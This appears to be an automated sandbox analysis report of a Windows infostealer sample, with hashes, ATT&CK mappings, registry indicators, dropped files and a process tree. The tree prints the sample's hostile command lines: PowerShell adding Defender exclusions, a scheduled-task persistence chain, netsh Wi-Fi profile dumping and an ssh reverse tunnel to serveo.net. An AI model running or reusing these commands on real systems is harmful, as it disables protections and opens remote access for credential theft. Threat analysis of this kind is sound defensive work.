82e68bb4f56181a0b2458f2861aa7b5fa1bb0f4ce30907d579c3b92707ef2647

Analysis

max time kernel
142s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
10-02-2024 15:16

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General

Target

7e9a93c69aecfc2bbda9470fbd4556db.exe
Size

14KB
MD5

7e9a93c69aecfc2bbda9470fbd4556db
SHA1

ab0e810472a897affac1a761b49595939f6897a9
SHA256

82e68bb4f56181a0b2458f2861aa7b5fa1bb0f4ce30907d579c3b92707ef2647
SHA512

59abfa455c148c88959f992864de627857e950d9abb36b49efd979da4139a50847932d9577d658d0d793802ef5a6f6b91520440af2ff983dbf04126cf909d342
SSDEEP

384:1R8wtU1eai/zbM/XygkxOu6cyhLWi1fXlSW:1eCU1vi7blHhyhiij

Score

10^/10

collection discovery evasion spyware stealer trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7e9a93c69aecfc2bbda9470fbd4556db.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation	7e9a93c69aecfc2bbda9470fbd4556db.exe
Key value queried	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation	nklqjk3b.jqt.exe

Executes dropped EXE 4 IoCs

pid	Process
1652	nklqjk3b.jqt.exe
3512	nklqjk3b.jqt.exe
3240	nklqjk3b.jqt.exe
3588	nklqjk3b.jqt.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	nklqjk3b.jqt.exe
Key opened	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	nklqjk3b.jqt.exe
Key opened	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	nklqjk3b.jqt.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7e9a93c69aecfc2bbda9470fbd4556db.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7e9a93c69aecfc2bbda9470fbd4556db.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4432	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3912	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2024	7e9a93c69aecfc2bbda9470fbd4556db.exe
112	powershell.exe
112	powershell.exe
3512	nklqjk3b.jqt.exe
3512	nklqjk3b.jqt.exe
3512	nklqjk3b.jqt.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2024	7e9a93c69aecfc2bbda9470fbd4556db.exe
Token: SeDebugPrivilege	112	powershell.exe
Token: SeDebugPrivilege	1652	nklqjk3b.jqt.exe
Token: SeDebugPrivilege	3512	nklqjk3b.jqt.exe
Token: SeDebugPrivilege	3240	nklqjk3b.jqt.exe
Token: SeDebugPrivilege	3588	nklqjk3b.jqt.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 112	2024	7e9a93c69aecfc2bbda9470fbd4556db.exe	83
PID 2024 wrote to memory of 112	2024	7e9a93c69aecfc2bbda9470fbd4556db.exe	83
PID 2024 wrote to memory of 112	2024	7e9a93c69aecfc2bbda9470fbd4556db.exe	83
PID 2024 wrote to memory of 1652	2024	7e9a93c69aecfc2bbda9470fbd4556db.exe	92
PID 2024 wrote to memory of 1652	2024	7e9a93c69aecfc2bbda9470fbd4556db.exe	92
PID 1652 wrote to memory of 1080	1652	nklqjk3b.jqt.exe	94
PID 1652 wrote to memory of 1080	1652	nklqjk3b.jqt.exe	94
PID 1080 wrote to memory of 3256	1080	cmd.exe	96
PID 1080 wrote to memory of 3256	1080	cmd.exe	96
PID 1080 wrote to memory of 3912	1080	cmd.exe	97
PID 1080 wrote to memory of 3912	1080	cmd.exe	97
PID 1080 wrote to memory of 4432	1080	cmd.exe	98
PID 1080 wrote to memory of 4432	1080	cmd.exe	98
PID 1080 wrote to memory of 3512	1080	cmd.exe	99
PID 1080 wrote to memory of 3512	1080	cmd.exe	99
PID 3512 wrote to memory of 432	3512	nklqjk3b.jqt.exe	100
PID 3512 wrote to memory of 432	3512	nklqjk3b.jqt.exe	100
PID 432 wrote to memory of 3888	432	cmd.exe	102
PID 432 wrote to memory of 3888	432	cmd.exe	102
PID 432 wrote to memory of 2944	432	cmd.exe	103
PID 432 wrote to memory of 2944	432	cmd.exe	103
PID 432 wrote to memory of 1808	432	cmd.exe	104
PID 432 wrote to memory of 1808	432	cmd.exe	104
PID 3512 wrote to memory of 2404	3512	nklqjk3b.jqt.exe	105
PID 3512 wrote to memory of 2404	3512	nklqjk3b.jqt.exe	105
PID 2404 wrote to memory of 904	2404	cmd.exe	107
PID 2404 wrote to memory of 904	2404	cmd.exe	107
PID 2404 wrote to memory of 3988	2404	cmd.exe	108
PID 2404 wrote to memory of 3988	2404	cmd.exe	108
PID 2404 wrote to memory of 624	2404	cmd.exe	109
PID 2404 wrote to memory of 624	2404	cmd.exe	109
PID 3512 wrote to memory of 3616	3512	nklqjk3b.jqt.exe	110
PID 3512 wrote to memory of 3616	3512	nklqjk3b.jqt.exe	110

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7e9a93c69aecfc2bbda9470fbd4556db.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	nklqjk3b.jqt.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	nklqjk3b.jqt.exe

C:\Users\Admin\AppData\Local\Temp\7e9a93c69aecfc2bbda9470fbd4556db.exe
"C:\Users\Admin\AppData\Local\Temp\7e9a93c69aecfc2bbda9470fbd4556db.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2024
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7e9a93c69aecfc2bbda9470fbd4556db.exe'; Add-MpPreference -ExclusionProcess '7e9a93c69aecfc2bbda9470fbd4556db'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:112
- C:\Users\Admin\AppData\Local\Temp\nklqjk3b.jqt.exe
  "C:\Users\Admin\AppData\Local\Temp\nklqjk3b.jqt.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "nklqjk3b.jqt" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\nklqjk3b.jqt.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\nklqjk3b.jqt.exe" &&START "" "C:\Users\Admin\AppData\Local\RobloxSecurity\nklqjk3b.jqt.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1080
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:3256
  - - C:\Windows\system32\timeout.exe
      timeout /t 3
      4⤵
      Delays execution with timeout.exe
      PID:3912
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "nklqjk3b.jqt" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\nklqjk3b.jqt.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:4432
  - - C:\Users\Admin\AppData\Local\RobloxSecurity\nklqjk3b.jqt.exe
      "C:\Users\Admin\AppData\Local\RobloxSecurity\nklqjk3b.jqt.exe"
      4⤵
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      outlook_office_path
      outlook_win_path
      PID:3512
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:432
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:3888
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        
        PID:2944
      - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        6⤵
        
        PID:1808
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2404
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:904
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        6⤵
        
        PID:3988
      - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        6⤵
        
        PID:624
    - - C:\Windows\System32\OpenSSH\ssh.exe
        
        "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:2237 serveo.net
        5⤵
        
        PID:3616

C:\Users\Admin\AppData\Local\RobloxSecurity\nklqjk3b.jqt.exe
C:\Users\Admin\AppData\Local\RobloxSecurity\nklqjk3b.jqt.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3240

C:\Users\Admin\AppData\Local\RobloxSecurity\nklqjk3b.jqt.exe
C:\Users\Admin\AppData\Local\RobloxSecurity\nklqjk3b.jqt.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\4cn9n9irdf\p.dat

Filesize
4B

MD5
b166b57d195370cd41f80dd29ed523d9

SHA1
fc15481319490c30a42e4dccfca757cc57193312

SHA256
7e62ce15499878ca883e552b485ccc2f5dc86c7664c4446cc7f99a247f3f0ae1

SHA512
813b0dfb3f08c93cb986df72be08493ac845e23601e8a2332140a72ab10fb5d41912f4925912d6d39b8493658fd062790eea642eca846f33d41f56d98d5ddd18

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nklqjk3b.jqt.exe.log

Filesize
847B

MD5
3308a84a40841fab7dfec198b3c31af7

SHA1
4e7ab6336c0538be5dd7da529c0265b3b6523083

SHA256
169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

SHA512
97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i1ugc423.3oy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nklqjk3b.jqt.exe

Filesize
128KB

MD5
869f82df0992dc2f5155d8f69fd1c9cf

SHA1
5b48d32aca1f7705c03e2bd592f68a2b9c9a7a22

SHA256
d77412b72a893ee96e82d7efbd9fc2612176da00df5ebc066c13c303f558bcc9

SHA512
b0f0e7f6354b64cac887600690531ba93f8aeb79e746fb9848c5f16f09931e3d8b5c2ad2a617fb9c978020450b4f717f9485d468b9c6098e6f319a59b26fad19

Download Submit
memory/112-43-0x0000000007470000-0x000000000747E000-memory.dmp

Filesize
56KB

Download
memory/112-10-0x0000000005880000-0x00000000058E6000-memory.dmp

Filesize
408KB

Download
memory/112-6-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/112-7-0x0000000005050000-0x0000000005678000-memory.dmp

Filesize
6.2MB

Download
memory/112-8-0x0000000005680000-0x00000000056A2000-memory.dmp

Filesize
136KB

Download
memory/112-9-0x0000000005720000-0x0000000005786000-memory.dmp

Filesize
408KB

Download
memory/112-46-0x0000000007560000-0x0000000007568000-memory.dmp

Filesize
32KB

Download
memory/112-4-0x00000000025B0000-0x00000000025E6000-memory.dmp

Filesize
216KB

Download
memory/112-20-0x0000000005B20000-0x0000000005E74000-memory.dmp

Filesize
3.3MB

Download
memory/112-21-0x0000000005F10000-0x0000000005F2E000-memory.dmp

Filesize
120KB

Download
memory/112-22-0x0000000005F50000-0x0000000005F9C000-memory.dmp

Filesize
304KB

Download
memory/112-49-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/112-24-0x000000007F5C0000-0x000000007F5D0000-memory.dmp

Filesize
64KB

Download
memory/112-25-0x00000000064F0000-0x0000000006522000-memory.dmp

Filesize
200KB

Download
memory/112-26-0x000000006FA40000-0x000000006FA8C000-memory.dmp

Filesize
304KB

Download
memory/112-36-0x00000000064B0000-0x00000000064CE000-memory.dmp

Filesize
120KB

Download
memory/112-37-0x00000000070F0000-0x0000000007193000-memory.dmp

Filesize
652KB

Download
memory/112-38-0x0000000007860000-0x0000000007EDA000-memory.dmp

Filesize
6.5MB

Download
memory/112-39-0x0000000007220000-0x000000000723A000-memory.dmp

Filesize
104KB

Download
memory/112-40-0x0000000007290000-0x000000000729A000-memory.dmp

Filesize
40KB

Download
memory/112-45-0x0000000007580000-0x000000000759A000-memory.dmp

Filesize
104KB

Download
memory/112-42-0x0000000007420000-0x0000000007431000-memory.dmp

Filesize
68KB

Download
memory/112-23-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/112-44-0x0000000007480000-0x0000000007494000-memory.dmp

Filesize
80KB

Download
memory/112-41-0x00000000074A0000-0x0000000007536000-memory.dmp

Filesize
600KB

Download
memory/112-5-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/1652-69-0x000002F6B8290000-0x000002F6B82A0000-memory.dmp

Filesize
64KB

Download
memory/1652-64-0x000002F69DC30000-0x000002F69DC54000-memory.dmp

Filesize
144KB

Download
memory/1652-66-0x00007FF8A7210000-0x00007FF8A7CD1000-memory.dmp

Filesize
10.8MB

Download
memory/1652-73-0x00007FF8A7210000-0x00007FF8A7CD1000-memory.dmp

Filesize
10.8MB

Download
memory/2024-50-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/2024-51-0x0000000004B10000-0x0000000004B20000-memory.dmp

Filesize
64KB

Download
memory/2024-52-0x0000000005CC0000-0x0000000005CCA000-memory.dmp

Filesize
40KB

Download
memory/2024-3-0x0000000004B80000-0x0000000004C12000-memory.dmp

Filesize
584KB

Download
memory/2024-67-0x0000000004B10000-0x0000000004B20000-memory.dmp

Filesize
64KB

Download
memory/2024-68-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/2024-2-0x0000000005130000-0x00000000056D4000-memory.dmp

Filesize
5.6MB

Download
memory/2024-0-0x0000000000160000-0x000000000016A000-memory.dmp

Filesize
40KB

Download
memory/2024-1-0x0000000074490000-0x0000000074C40000-memory.dmp

Filesize
7.7MB

Download
memory/3240-85-0x00007FF8A7210000-0x00007FF8A7CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3240-87-0x000001ECD6430000-0x000001ECD6440000-memory.dmp

Filesize
64KB

Download
memory/3240-88-0x00007FF8A7210000-0x00007FF8A7CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3512-78-0x00007FF8A7210000-0x00007FF8A7CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3512-79-0x00000216B5EE0000-0x00000216B5EF0000-memory.dmp

Filesize
64KB

Download
memory/3512-86-0x00007FF8A7210000-0x00007FF8A7CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3512-89-0x00000216B5EE0000-0x00000216B5EF0000-memory.dmp

Filesize
64KB

Download
memory/3588-91-0x00007FF8A7210000-0x00007FF8A7CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3588-92-0x00000199A6330000-0x00000199A6340000-memory.dmp

Filesize
64KB

Download
memory/3588-93-0x00007FF8A7210000-0x00007FF8A7CD1000-memory.dmp

Filesize
10.8MB

Download